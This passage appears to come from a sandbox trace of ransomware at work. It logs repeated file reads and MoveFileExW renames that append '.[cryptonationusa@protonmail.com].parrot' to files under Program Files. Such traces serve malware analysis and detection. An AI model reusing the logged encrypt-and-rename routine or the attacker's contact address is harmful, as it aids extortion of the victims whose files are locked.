lpNewFilePointer=0x0) returned 1 [0126.486] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdc6b9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xdc6b9, lpOverlapped=0x0) returned 1 [0126.516] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.580] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0126.587] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0126.587] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0126.589] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.589] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2b01, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2b01, lpOverlapped=0x0) returned 1 [0126.590] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.594] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0126.597] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0126.598] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0126.598] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.598] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x146, lpOverlapped=0x0) returned 1 [0126.599] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.599] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0126.623] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0126.623] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0126.624] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.624] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x369d3, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x369d3, lpOverlapped=0x0) returned 1 [0126.631] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.640] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0126.646] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0126.646] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0126.648] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.648] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2fde5, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2fde5, lpOverlapped=0x0) returned 1 [0126.716] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.727] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0126.731] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0126.731] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0126.733] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.733] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9e413, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9e413, lpOverlapped=0x0) returned 1 [0126.759] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.809] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0126.826] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0126.826] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0126.827] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.827] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdfc98, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xdfc98, lpOverlapped=0x0) returned 1 [0126.892] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.980] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0126.998] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0126.998] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0127.000] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.000] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2cc, lpOverlapped=0x0) returned 1 [0127.000] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.001] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.005] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.005] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.007] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.007] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3f50, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3f50, lpOverlapped=0x0) returned 1 [0127.009] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.010] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.017] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.017] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.018] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.018] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5550, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5550, lpOverlapped=0x0) returned 1 [0127.019] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.020] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.026] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.026] ReadFile (in: hFile=0x260, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0127.027] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.027] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x296a5, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x296a5, lpOverlapped=0x0) returned 1 [0127.032] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.037] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.316] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.316] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0127.317] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.317] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1cc, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x1cc, lpOverlapped=0x0) returned 1 [0127.317] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.318] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), lpNewFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.326] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.326] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0127.328] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.328] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4360, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4360, lpOverlapped=0x0) returned 1 [0127.330] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.331] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.335] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.335] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0127.337] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.337] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4932, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4932, lpOverlapped=0x0) returned 1 [0127.339] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.341] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.344] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.344] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0127.350] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.350] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x78e4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x78e4, lpOverlapped=0x0) returned 1 [0127.355] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.357] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.361] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.361] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0127.368] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.368] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x712e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x712e, lpOverlapped=0x0) returned 1 [0127.379] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.381] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.388] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.388] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0127.404] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.404] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x851c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x851c, lpOverlapped=0x0) returned 1 [0127.422] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.423] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.438] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.438] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0127.440] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.440] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7d92, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7d92, lpOverlapped=0x0) returned 1 [0127.442] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.445] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft analysis services\\as 